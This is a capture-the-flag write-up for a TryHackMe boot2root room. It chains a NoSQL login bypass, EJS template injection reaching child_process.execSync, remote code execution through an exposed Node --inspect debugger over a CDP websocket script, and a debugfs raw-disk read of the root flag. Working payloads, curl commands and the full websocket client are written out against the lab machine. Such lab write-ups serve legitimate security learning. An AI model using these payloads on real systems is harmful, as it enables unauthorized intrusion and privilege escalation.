This writeup is part of a series going through TryHackMe's 2026 14-day Hacker Holidays daily challenge event
Background & Info from the Challenge Page
This section was copied from the Day 7 challenge page on THM.
This challenge was rated as Medium.
The category was Boot2Root and the associated tags were:
- Web
- Boot2Root
Concierge Briefing
Sign's on the door. Room's active. You have access you were never given, and so does he.
The anomalies stop being anomalies: a session goes warm on a sunbed, and a stranger sits down in it, a wallet signs a transaction its owner didn't authorise, a shell on the beach answers back. And it becomes clear that whoever's already inside has been moving for far longer than you have.
The Byte Lotus poolside platform tracks every cabana, every sunbed, every warm session. Byte Lotus never forgets. Someone is already inside. Follow his footprints in, climb the way he climbed, and recover both flags.
Room Access
Lab Machine with [MACHINE_IP]
Today's Itinerary - Goals
- Find the user flag
- Find the root flag
Comic
Recon - The Login Page
We start off by taking a look at a login screen. Pretty much just a login form that POSTs to a /login endpoint. No cookies. Or at least none before authentication.
Let's see if we can find something else via nmap first.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9b:53:0d:93:3d:77:40:0f:8a:96:37:5f:ef:89:cf:02 (ECDSA)
|_ 256 75:c4:44:e7:7e:ac:80:c0:33:8d:5e:c0:a4:b1:e6:32 (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: Byte Lotus — Poolside
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelNothing of note. Web server on port 80 and SSH on port 22 is pretty standard and expected stuff.
Endpoint Fuzzing
Since this app exposes its behavior through URL endpoints, I searched for other endpoints using ffuf to probe at tons of potential paths. One correction here I only caught later: "no cookies" doesn't necessarily mean "stateless." The accurate observation is that no cookie is minted before authentication, which still usefully reframes the attack surface toward injection rather than cookie theft.
ffuf -u http://10.64.160.19/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -mc all
ffuf -u http://10.64.160.19/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all
ffuf -u http://10.64.160.19/api/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api-endpoints.txt -mc allThe first one checks common words, the second is similar but more thorough if the first hits nothing. The third targets /api/ endpoints with an appropriate wordlist for that.
After dumping the giant output of each command into a separate file, I grep to find some interesting response codes (non-404 basically).
Looks like we got a /logout (302 redirect) and a /staff (403 forbidden) endpoint. The existence of the staff endpoint especially implies that's where the login form leads (or may give access to at the very least). Other than these minor findings, there isn't much to be done with those endpoints yet.
Login Injection Attempts
The next thing to try was to feed the login form with malformed credentials and see if we get some hints out of it, also to see if we can do some injection.
I started with some classics:
u:' p:'
u:' OR 1=1-- p: 1337
etc...
Those yielded nothing. It's possible the database is not SQL, or just that this type of injection won't work. All I got was an "invalid credentials" error and no further information leaking otherwise.
Eventually, I tried to inject other formats like JSON in the case that it's something like NoSQL. Still nothing. At this point, I ran out of ideas and took a long time scratching my head.
Then, by reading and asking questions, I realized that I should not have been plugging these strings via the browser. Not only is it slower and clunkier to do in an iterative manner, but it gives less (easily accessible) visibility on the raw response details compared to using curl or Burp Suite.
Most importantly, all the values I submitted via the browser were passed as text strings and Content-Type: application/x-www-form-urlencoded. So the JSON attempts were never being read as JSON by the server. They arrived as a plain string of characters and instead of a structured JSON payload.
After this discovery, I retried some of the injections via curl, which allowed me to also see the raw responses more easily. And then when I tried the json one again, this time with the correct Content-Type, it worked:
curl -i http://10.64.168.8/login -H 'Content-Type: application/json' \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'Looks like we were finally served a cookie with a session ID. We also get to know that our role is "guest". Unfortunately, this means we still can't access the /staff endpoint. However, now at least we know that it's possible to get a session id cookie minted for us. The next step is to try to mint one for a "staff user".
Minting a Staff Session
Next, I ended up trying to do fuzzing via curl/ffuf to try to find a username that mints a "staff" session, but it seemed unrealistic this was the intended route. It would also have taken way too long to try all those words and all those lists, not to mention would have possibly been rude and bad-mannered to attempt on a shared THM machine.
Instead of trying the common wordlists, I generated my own list with a more limited amount of words, most related to hotels, holidays and staffing. Through this, I found the username that mints a staff cookie: attendant.
Curious, and feeling like that might've been a lucky hit or a cop out, I asked an LLM what other alternatives would've been attempted by someone else at that point. It suggested a blind cold solver might do a "regex walk" where you start with ^a and so on and if it hits it starts with "a", and then you walk until you get the full word. That somehow sounded like another shortcut or cheap way to go about it, but maybe I'm wrong. Maybe everything is fair game and this is a noob mindset to have.
Either way, it turns out the hint was more obvious all along. In fact, it was staring me in the face: the placeholder value on the login page was attendant.
Now with the certainty that we have the correct username to proceed, I curl using the null string as password and attendant as the user and confirm it's accepted:
Note:
Throughout this post, the session id string changes a few times across screenshots. That's only because THM VMs time out between sessions, and this challenge was done over several sessions along with the writeup. Each login mints a fresh cookie value, so the strings differ between screenshots.
Accessing /staff
As expected, it mints a session string for that user, which I uri-decode and save once again. Then I use it to see if /staff is reachable by this attendant user.
curl -iv 10.64.168.8/staff -H 'Cookie: connect.sid=s:HEU2BhdgN1-5xCf5NM2uwd993fKOZO5h.6HFZUZOcbUfdF0iMHTs8g//NsbpkK60FdREYFeOz77g'Using this we indeed get a 200 code: success. Alternatively it's possible to add the session cookie to the browser and navigate to the /staff path and see the site with our own eyes:
Bringing the cookie into the browser lets us see things happen visually. To get the real session string, again we need to decode as it's in URI encoded format, and some of the characters appear as "%"-prefixed codes. We can do this via the browser directly with the decodeURIComponent() function and get the cleaned up string. Another option is to use Cyberchef to do a URL Decode.
Either way, the string looks very similar, it really just replaces the %__ parts with the actual characters they represent, like %3A becoming the colon after the first s.
Then navigate to /staff and see:
EJS Template Injection
Looks like we got a text field to edit some message meant for guests. Clicking the preview button processes the text (via a POST to /staff/preview) and returns a result in a new textbox at the bottom.
The interesting part is the presence of a <%= guest %> variable which the form itself tells us is for EJS - Embedded Javascript. This can be confirmed by entering a malformed variable and getting an EJS error. This is most likely key to proceeding.
Let's try a few injections to see what works.
Enumerating the Process Object
These confirm EJS, and that require fails, but process doesn't. So enumerating the stuff that process exposes seems to work too. The list it gives out is this:
version,versions,arch,platform,release,_rawDebug,moduleLoadList,binding,_linkedBinding,_events,_eventsCount,_maxListeners,domain,_exiting,exitCode,config,dlopen,uptime,_getActiveRequests,_getActiveHandles,getActiveResourcesInfo,reallyExit,_kill,loadEnvFile,cpuUsage,threadCpuUsage,resourceUsage,memoryUsage,constrainedMemory,availableMemory,kill,exit,execve,ref,unref,finalization,hrtime,openStdin,getuid,geteuid,getgid,getegid,getgroups,allowedNodeEnvironmentFlags,assert,features,_fatalException,setUncaughtExceptionCaptureCallback,hasUncaughtExceptionCaptureCallback,emitWarning,nextTick,_tickCallback,sourceMapsEnabled,setSourceMapsEnabled,getBuiltinModule,_debugProcess,_debugEnd,_startProfilerIdleNotifier,_stopProfilerIdleNotifier,stdout,stdin,stderr,abort,umask,chdir,cwd,initgroups,setgroups,setegid,seteuid,setgid,setuid,env,title,argv,execArgv,pid,ppid,execPath,debugPort,argv0,_preload_modules,report,mainModule
Quite a few options there. I'm not too familiar with this object in this context, so I fed the list to an LLM and asked it to point out the ones with abuse potential. The useful takeaway was thinking in terms of a scanning heuristic rather than a specific payload: every name in the dump maps to a verb: execute (mainModule, binding, getBuiltinModule, dlopen), read (env, argv, report, moduleLoadList), orient (versions, debugPort, getuid/getgroups). Scanning the dump for those verbs beats trying to recognize or know a hundred names by heart.
Starting with read: env is accessible and sometimes holds good info.
<%= JSON.stringify(process.env) %> in the form yields:
Dear {"LANG":"C.UTF-8","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin","USER":"poolside","LOGNAME":"poolside","HOME":"/home/poolside","INVOCATION_ID":"41595fc3060b46228156f4aa69374f87","JOURNAL_STREAM":"10:7267","SYSTEMD_EXEC_PID":"602","MEMORY_PRESSURE_WATCH":"/sys/fs/cgroup/system.slice/poolside.service/memory.pressure","MEMORY_PRESSURE_WRITE":"c29tZSAyMDAwMDAgMjAwMDAwMAA=","NODE_ENV":"production"}, your Byte Lotus cabana is confirmed.
Looks like the username for the flag is likely poolside.
Besides that mainModule listed from process deserves to be probed further.
<%= JSON.stringify(Object.keys(process.mainModule)) %> yields:
["id","path","exports","filename","loaded","children","paths"]
This allows me to find things like filename, path, exports. Potentially good information to know, but nothing that tells me what I can do.
So instead I am feeding this<%= JSON.stringify(Object.getOwnPropertyNames(Object.getPrototypeOf(process.mainModule))) %>
which yields["constructor","isPreloading","parent","load","require","_compile"]
That one confirmed access to require which we didn't have directly, but do through the mainModule. That's a pretty big one.
User Flag
Let's therefore use require("fs") to browse the system. Remembering we know the user is named poolside, there is an obvious low-hanging fruit.
User flag get.
Hunting the Root Flag
Now to hunt the root flag, which was not accessible with the same method.
Template error: ejs:1
>> 1| Dear <%= process.mainModule.require("fs").readFileSync("/root/root.txt") %>, your Byte Lotus cabana is confirmed.
EACCES: permission denied, open '/root/root.txt'Alright then. Next up, since we can require("fs") we can surely require("child_process") to spawn child processes. First let's id ourselves.
<%= process.mainModule.require("child_process").execSync("id") %>
yields the user we were expecting to be in the result textbox:
Dear uid=996(poolside) gid=996(poolside) groups=996(poolside), your Byte Lotus cabana is confirmed.
For the heck of it, let's try to simply cat the root flag (presumably at /root/root.txt). Fully expecting it to fail, it does indeed:
Template error: ejs:1
>> 1| Dear <%= process.mainModule.require("child_process").execSync("cat /root/root.txt") %>, your Byte Lotus cabana is confirmed.
Command failed: cat /root/root.txt
cat: /root/root.txt: Permission deniedWe'll need to do some privilege escalation, but we need more recon first.
Process Recon - Finding the Inspector
Running <%= process.mainModule.require("child_process").execSync("ps auxf") %> gives more than a process list: each line shows the owning user, the full command line with its flags, and, due to the f flag, parent/child relationships. Notably, there was no database service or container in that list. It's a long list, but the lines with the key findings were:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
pipelinesvc 600 0.0 2.7 1120444 53864 ? Ssl Aug24 0:01 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside 602 0.0 3.2 1019584 64176 ? Ssl Aug24 0:00 /usr/bin/node app.js
poolside 1984 0.0 0.0 2808 1856 ? S 04:51 0:00 \_ /bin/sh -c ps auxfThis shows me that I, as user poolside, am running these commands from app.js. It also shows a user pipelinesvc running a processor.js script through the --inspect flag, which enables the V8 inspector, bound to the loopback address — a connected client gets access to useful stuff including Runtime.evaluate. Honest note: ps auxf was one of several routes to this finding. ss -tlnp lists listening sockets, including loopback-only ones, and would have shown port 9229 directly; cat /etc/passwd would have surfaced the poolside and pipelinesvc service accounts.
It's basically a debug flag left behind in a supposedly production app and is therefore escalation bait, which I will happily take. Node's inspector docs tell us we can connect manually by visiting http://localhost:<inspect-port>/json/list, and it should return a JSON object containing a devtoolsFrontendUrl.
Connecting to the Inspector
So now let's put it all together. Injecting this into the form to curl:
<%= process.mainModule.require("child_process").execSync("curl 127.0.0.1:9229/json/list") %>
Note: the curl needs to be done from the form (from inside the box) because we're trying to reach a localhost (127.0.0.1) address.What we get back:
{
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/dc14968e-3383-44dc-8ad4-1a1b6732f79d",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/dc14968e-3383-44dc-8ad4-1a1b6732f79d",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "dc14968e-3383-44dc-8ad4-1a1b6732f79d",
"title": "processor.js",
"type": "node",
"url": "file:///opt/pipelinesvc/telemetry/processor.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/dc14968e-3383-44dc-8ad4-1a1b6732f79d"
}RCE over the CDP websocket
Let's see what we got. Looks like a location for the processor.js script. We also have a URL for a websocket debugger. Let's try talking to it.
From this point forward, things slowed a bit as I was in semi-known territory. I started leaning more on the LLM, not to just ask what to do, but mainly to ask questions, get it to explain concepts, and a lot of "why this", "why that", "why not like that".
That said, after weighing many options to proceed further, I went with the one that seemed simplest and "most intended", if that makes sense.
I decided to use a simple js script to talk to the websocket repeatedly to run commands.
const WS_URL = 'ws://127.0.0.1:9229/<UUID>';
const EXPR = `process.mainModule.require('child_process').execSync('id').toString()`;
const ws = new WebSocket(WS_URL);
const kill = setTimeout(() => { console.error('TIMEOUT'); process.exit(1); }, 10000);
ws.addEventListener('open', () => {
ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: EXPR, returnByValue: true }
}));
});
ws.addEventListener('message', (ev) => {
const r = JSON.parse(ev.data);
if (r.id !== 1) return;
clearTimeout(kill);
r.result.exceptionDetails
? console.error('EXCEPTION:', JSON.stringify(r.result.exceptionDetails))
: console.log(r.result.result.value);
process.exit(0);
});
ws.addEventListener('error', () => { console.error('WS ERROR'); process.exit(1); });CDP — Chrome DevTools Protocol — is the protocol this debugger speaks: the same one your browser's F12 tools use, which Node.js implements server-side through its V8 inspector. Runtime.evaluate is its "run this JS in the target process" method. That's where the cdp.js filename comes from.
One quirk I hit along the way: bare require doesn't exist in the debugger's scope either (same situation as in the EJS template). That's why the EXPR uses the process.mainModule.require bridge.
Only two lines change between runs: WS_URL (the UUID dies if processor.js restarts and we need to pull /json/list again) and EXPR (the command to run inside pipelinesvc).
One major hitch along the way was due to this script being full of quotes and special characters. The script has to survive bash, then the form, then EJS and finally the shell. I had to base64-encode it locally, send it encoded and have it decoded inside the target, piping it straight into node via stdin:
base64 -w0 cdp.jscurl -si http://<MACHINE_IP>/staff/preview \
-H 'Cookie: connect.sid=s:XXXX' \
--data-urlencode 'template=<%= process.mainModule.require("child_process").execSync("echo BASE64_BLOB_HERE | base64 -d | node").toString() %>'uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
EXIT=0We're now pipelinesvc, in the disk group — more on why that matters in a moment.
Root flag — raw disk
pipelinesvc is a member of the disk group, which grants raw read access to block devices. debugfs walks the raw filesystem and extracts a file by path without any kernel permission check. The device name came from the ps auxf output earlier: the [jbd2/nvme0n1p1-8] kernel thread carries the root partition's device name.
const EXPR = `process.mainModule.require('child_process').execSync("debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1").toString()`;Root flag get.
The kill chain (at a glance)
| Step | Vector | Result |
| 1 | NoSQL injection {"$ne":null} on /login (JSON) | guest session (first user in the DB) |
| 2 | Login as attendant (the login form's placeholder) with $ne password | staff session |
| 3 | EJS SSTI at /staff/preview → execSync | RCE as poolside |
| 4 | node --inspect=127.0.0.1:9229 (CDP websocket, node-native client) | RCE as pipelinesvc |
| 5 | pipelinesvc in disk group → debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 | root flag |
The big quoting saga (the session's recurring setback)
A three-layer pipeline (bash function → EJS template string → /bin/sh -c) kept mangling nested quotes: inner double-quotes in execSync("...") produced SyntaxError: Unexpected number / Unexpected token '&'; $ in $? got eaten by bash; unquoted $(...) substitutions word-split the decoded expression into separate commands. Resolution: base64 everything, decode inside ws.py. The expression then travels as a single clean shell token and never crosses a shell boundary after python decodes it. Two "wrong IP" uploads (my own Kali box) masked this for a while — declare -f rce | grep -oE 'http://[0-9.]+/' to always use the live target.
On the second instance (this writeup's session) the lesson reapplied twice. The base64 → node-stdin courier dodged the quote layers entirely — no temp file, no -e quoting hell — and when a hand-pasted blob got truncated in the terminal (SyntaxError: Unexpected end of input at [stdin]:23), the fix was to stop pasting altogether: --data-urlencode template@/tmp/payload.txt lets curl read the body from a file, with node --check as a pre-flight syntax gate.
Questions raised along the way
- What are
$ne/$gt/$regex? MongoDB query operators (not-equal, greater-than, regex). They're injected when the app splices unsanitized JSON body fields into afindOne()— you're passing a comparison, not a value. - Why does
Set-Cookieonly appear on success?express-sessionwithsaveUninitialized: false: a cookie is emitted only when the handler modifies the session (i.e., on successful login). The cookie is a signed ID; session data lives server-side — so it can't be forged from the cookie alone. - Is NoSQL injection spray-and-pray? There's a canonical battery (
$ne,$gt,$regex,$where,$or, arrays) but which land is decided by query structure —$neworks regardless of field contents (just needs the field to exist), which is why it was the first thing to hit. The "invalid credentials" errors onadminwere username-not-found, not a failed payload. - Whose cookie did we get? Ours. The
$ne:nulllogin minted a fresh session for the first user in the DB — on this instance that'sguest, not staff. The staff account (attendant) had to be enumerated separately, and the hint turned out to be hiding in plain sight on the login form itself (the username placeholder wasattendant). The intruder in the briefing is a separate, higher-privilege presence we never needed to chase thanks to the disk group. - Why is there no bare
requirein either the template or the debugger?requireis a per-module wrapper argument, injected into each file's private scope — it's never a true global. EJS compiles templates into a scope without it, andRuntime.evaluateruns in the process's global scope, which also lacks it.process.mainModule.requireworks in both because it reaches the loader through the always-availableprocessobject. One bridge, two contexts. - Why
execSync/readFileSyncinstead ofexec/readFile? The sync variants block and return the value directly;<%= %>renders a single synchronous expression, so only sync APIs put bytes in the response. Callback/promise variants start the work and return a handle — the output arrives later and is lost. (If sync were filtered, the callback versions become blind RCE: write output to a file, read it back on the next request.) - Why
child_processfor shell commands likeid? JavaScript has no native "run an OS command" — Node brokers kernel syscalls through builtin modules, andchild_processis the one that wrapsfork/execve.execSync("id")→/bin/sh -c "id"→ the shell launches/usr/bin/idas a separate process and pipes its stdout back. Same pattern in every language: python→subprocess, php→shell_exec, ruby→backticks. - Does the
$regexusername walk actually work? Yes — it's blind username enumeration.findOnereturns the first document matching, so{"username":{"$regex":"^a"},"password":{"$ne":null}}returns the first user whose name starts with "a", revealing both the name and its role. Then^at,^att... walk out the full string letter by letter. We got lucky and skipped this — the username was in the login form's placeholder. - Is "no cookies = stateless" accurate? Not quite. Anonymous visitors get no cookie, but
express-sessionis server-side stateful once you log in (the cookie is a signed ID, not the session itself). The accurate read is "no cookie is minted pre-auth" — which still correctly reframes the attack surface toward tokens/injection. And "endpoint" is the technically correct term for a URL the app exposes (typically an API route).
Lessons learned
- Read for the attack surface, not the visible routes. No cookie is minted pre-auth → think tokens/injection. Two themed wordlist hits —
/logout(302) and/staff(403) — told us more than twenty 404s; a 403 is a route existing behind auth. express-session+saveUninitialized: falseexplains the cookie-on-success-only pattern;s:prefix = signed ID, data is server-side.- EJS SSTI needs the full
process.mainModule.require("child_process")chain — barerequireisn't in EJS scope. execSyncthrows on non-zero exit and hides stderr — always2>&1; echo EXIT=$?(or|| true).- Node
--inspecton a loopback port is a privesc, not a dev convenience:Runtime.evaluateover the CDP websocket = arbitrary code as that user. - The
diskgroup = raw block-device access.debugfs -R 'cat <file>' <partition>bypasses all file permissions — the classic shortcut for boot2root, and here the actual root flag. - Isolate the fragile layer: when shell/JS/JSON quoting keeps corrupting a payload, base64-encode it and decode at the innermost layer. Don't keep fighting the escapes.
ps auxf//procis recon gold — it surfaced the inspector port AND the nvme device name.- A cookie without its name isn't a cookie. The
name=half is the lookup key;Cookie: s:...= anonymous. A 403 while "logged in" is the tell. Object.keyslies by omission. It lists only own enumerable properties —requirelived onModule.prototype, invisible untilObject.getOwnPropertyNames(Object.getPrototypeOf(...)). Enumeration must walk prototype chains.- Silence stacks. The app caught template errors and re-rendered silently, and
execSynchid stderr. Two layers of quiet turned one bug into an empty page. Counter:2>&1; echo EXIT=$?from the very first payload. - Ship payloads as files, not clipboard paste. A hand-pasted base64 blob truncated mid-line (
Unexpected end of input).--data-urlencode template@file+node --checkremoves the clipboard from the hot path. - Fuzzing — brute-forcing hidden routes by blasting a wordlist at the target and reading the response codes. Its utility: apps hide routes that aren't linked anywhere (
/staff,/logout); a 302/403 is a hit, not a miss (the route exists behind auth). Use-mc allto catch non-404 codes and theme the wordlist to the app's domain. - One scope, one bridge. EJS eval and CDP eval are the same trap ("JS without
require") with the same escape (process.mainModule.require). Recognizing the shared pattern beats memorizing two payloads.